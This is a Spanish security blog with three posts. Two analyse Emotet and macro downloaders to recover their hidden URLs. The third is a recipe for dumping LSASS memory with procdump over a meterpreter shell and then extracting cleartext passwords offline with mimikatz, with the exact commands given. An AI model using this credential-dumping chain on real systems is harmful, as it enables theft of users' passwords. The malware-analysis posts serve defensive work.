miércoles, 18 de diciembre de 2019

En busca de mis dorados IOC's


Hace tiempo me enfrente a una campaña de Emotet, más concretamente a sus “downloaders”, como mucha gente.

Mi desesperación fue en aumento por gastar tanto tiempo en su análisis, y más allá cuando de repente su funcionamiento cambio y ya no podía manipular sus macros al ejecutar los archivos Word (.doc) en un entorno controlado, por que se eliminaban tras la primera ejecución.

NOTA: Me gusta entender lo que ejecuto, es mi forma de seguir aprendiendo.

Ya sólo me quedaba realizar un análisis estático de los mismos.

Esto siempre lo realizo mediante la apertura de los archivos como si fuera archivos comprimidos, aunque realmente son eso.

El problema que me encontré es que la información visualizada no mostraba el código Visual Basic de la macro y por lo tanto su análisis era imposible.

Así que se me ocurrió fue usar un editor hexadecimal para ver directamente su contenido, y ahí, ¡vi la luz!.

Visualización del archivo downloader de Emotet


Pude observar la existencia de un conjunto de caracteres de sumo interés


Cadena de caracteres encontrado

Se continúo mirando hasta que se llego al final de los caracteres.


Y se pudo ver que se trataba de una cadena codificada en base64

Por lo tanto lo único que sé tuvo que hacer fue extraer y eliminar el patrón, pero ¿qué patrón?

Si nos fijamos bien vemos que el patrón es: _!j@ , pero aún más … podemos decir que se aplica tres veces.

Veamos esto último, para ello cojamos del siguiente tramo de caracteres mostrado


Más concretamente los caracteres: 6_!_!j@_!j@j@A

Si  quitamos el patrón, la cadena nos queda: 6_!_!j@j@A , si quitamos de nuevo el patrón, la cadena nos queda: 6_!j@A y si lo quitamos de nuevo, la cadena nos queda: 6A

Es por esto, por lo que se ha comentado que el patrón se repite hasta 3 veces.

Sabiendo esto, se paso a extraer los comentados caracteres y eliminar el patrón tantas veces como sea necesario mediante la automatización. Para ello se elaboro la siguiente secuencia de comandos de bash:


Que permitió obtener el siguiente resultado:


Si nos fijamos bien, se trata de un script que guarda entre otras cosas la variable: Lxbvplwvfufaj, cuyo contenido es una serie de URLs


A través de estas URLs se pudo conseguir muestras para su análisis, y así configurar distintos IOCs para los sistemas de seguridad.

En cualquier caso …

Lo que hagas con la información es cosa tuya, no mía ... pero ten conciencia.





               

jueves, 3 de octubre de 2019

Gracias Señor por el código que me diste!!!!!!!


Hoy y desde aquí quiero agradecer públicamente al siguiente código las horas tan interesantes que me ha dado.

Set of = createobject("scripting.filesystemobject")
Set at = of.opentextfile("CodigoMalware",8,true)
at.writeline <variable que contiene lo que queremos extraer>


Este código me ha permitido extraer muchas líneas de comando guardas en macros de documentos ofimáticos que funcionaban como downloaders.

Para muestra un botón…

En una muestra de esta misma mañana …

TRUCO: El archivo ha llegado a mis manos hoy, pero originalmente fue recepcionado el lunes día 30/09/2019. ¡La rapidez de los análisis es fundamental.! ;-))))

1.- Despliegue de código para extraer la información almacenada en la variable: SSLwwt, sobre el archivo: CodigoMalware


2.- Visualización del contenido del archivo



3.- Decodificación de la cadena en base64 usada por el comando en powershell.


4.- Obtención del script utilizado.

NOTA: Remarcado en amarillo tenemos la variable que contiene las distintas URLs que se consultarán para descargarse “algo”
 

Por desgracia NO SE HA PODIDO DESCARGAR EL MALWARE REAL


En cualquier caso …

Lo que hagas con la información es cosa tuya, no mía ... pero ten conciencia.

PD: Por cierto, gran trabajo el de los chicos/as de las casas antivirus y demás analistas.





viernes, 6 de septiembre de 2019

Por el poder de procdump!!!!!!!!!


Un AV (antivirus) tuvo a culpa y eso me permitió conocer una manera de extraer el material de los sueños de un ordenador: la memoria RAM asociada al proceso LSASS, de una manera no habitual.

NOTA: Este proceso almacena en la memoria RAM asociada las contraseñas en claro de los usuarios de un ordenador basado en un sistema Windows. Muchas herramientas, lanzadas en local, permiten extraer esa información, como pueda ser: mimikatz o Empire mod HackPlayers.

Para la extracción del material de los sueños, necesitaremos la siguiente lista de ingredientes:

1.- Una pizca de Procdump (herramienta perteneciente a la tool: SysInternals)
2.- Mimikatz, pero ésta vez no lo utilizaremos en el ordenador remoto, si no en una máquina virtual bajo nuestro control
3.- Entorno generador de máquinas virtuales.

Comencemos con la receta:

1.- Tener una Shell remota con el ordenador al cuál queramos extraerle las credenciales de sus usuarios EN TEXTO CLARO.

NOTA: En este punto no puede ayudar, cada uno como pueda.

Vulnerabilidad encontrada en nuestro entorno de pruebas

Exploit preparado

Máquina vulnerada.

2.- Subir la ejecutable: Procdump.

Este ejecutable, es un ejecutable “legitimo” utilizado tanto en proceso de análisis forense como en procesos de administración de sistemas. Nos permite dumpear/clonar la memoria RAM y almacenarla en un archivo.

En nuestro entorno (Shell remota basada en meterpreter) se ha utilizado el comando: upload <archivo a subir> <ubicación en la máquina remota>

Archivo: procdump.exe subido al disco duro: C:

Archivo: procdump.exe, ubicado en la unidad C: del host vulnerado

3.- Dumpear la memoria asociada al proceso: lsass.exe

En este punto tenemos que tener en cuenta el entorno en donde nos encontramos.

Entorno
Comando
Sistema de 32 bits
Procdump.exe -accepteula –ma lsass.exe lsass.dump
Sistema de 64 bits
Procdump.exe -accepteula -64 –ma lsass.exe lsass.dump

Leyenda:

-accepeula         -> permite aceptar la licencia de Sysinternals por línea de comandos
-ma                       -> permite escribir un archivo con la memoria extraída
-64                         -> permite indicar que estamos en un entorno de 64 bits.

Proceso de dumpeo lanzado y completado


4.- Extraer el archivo anteriormente dumpeado del sistema “hackeado”, llevándolo al sistema que tenemos controlado



En nuestro entorno (Shell remota basada en meterpreter) se ha utilizado el comando: download <archivo ubicado en la máquina remota> <ubicación en la máquina local>



Descarga del archivo dumpeado

5.- Montar una máquina virtual con el mismo sistema operativo que el sistema del cual hemos extraído la memoria RAM

Resumiendo


Nuevo entorno

6.- Ejecutar mimikatz sobre el archivo que contiene la memoria RAM dumpeada.

Para lo cual:

                1.- Ejecutamos: mimikatz
                2.- Ejecutamos el comando: sekurlsa::mimidump <archivo dumpeado>
3.- Ejecutamos el comando: sekurlsa::logonPasswords full

Ejecución de mimikatz en otro entorno similar, en cuanto a sistema operativo, al que le hemos dumpeado la memoria

En cualquier caso …

Lo que hagas con la información es cosa tuya, no mía ... pero ten conciencia.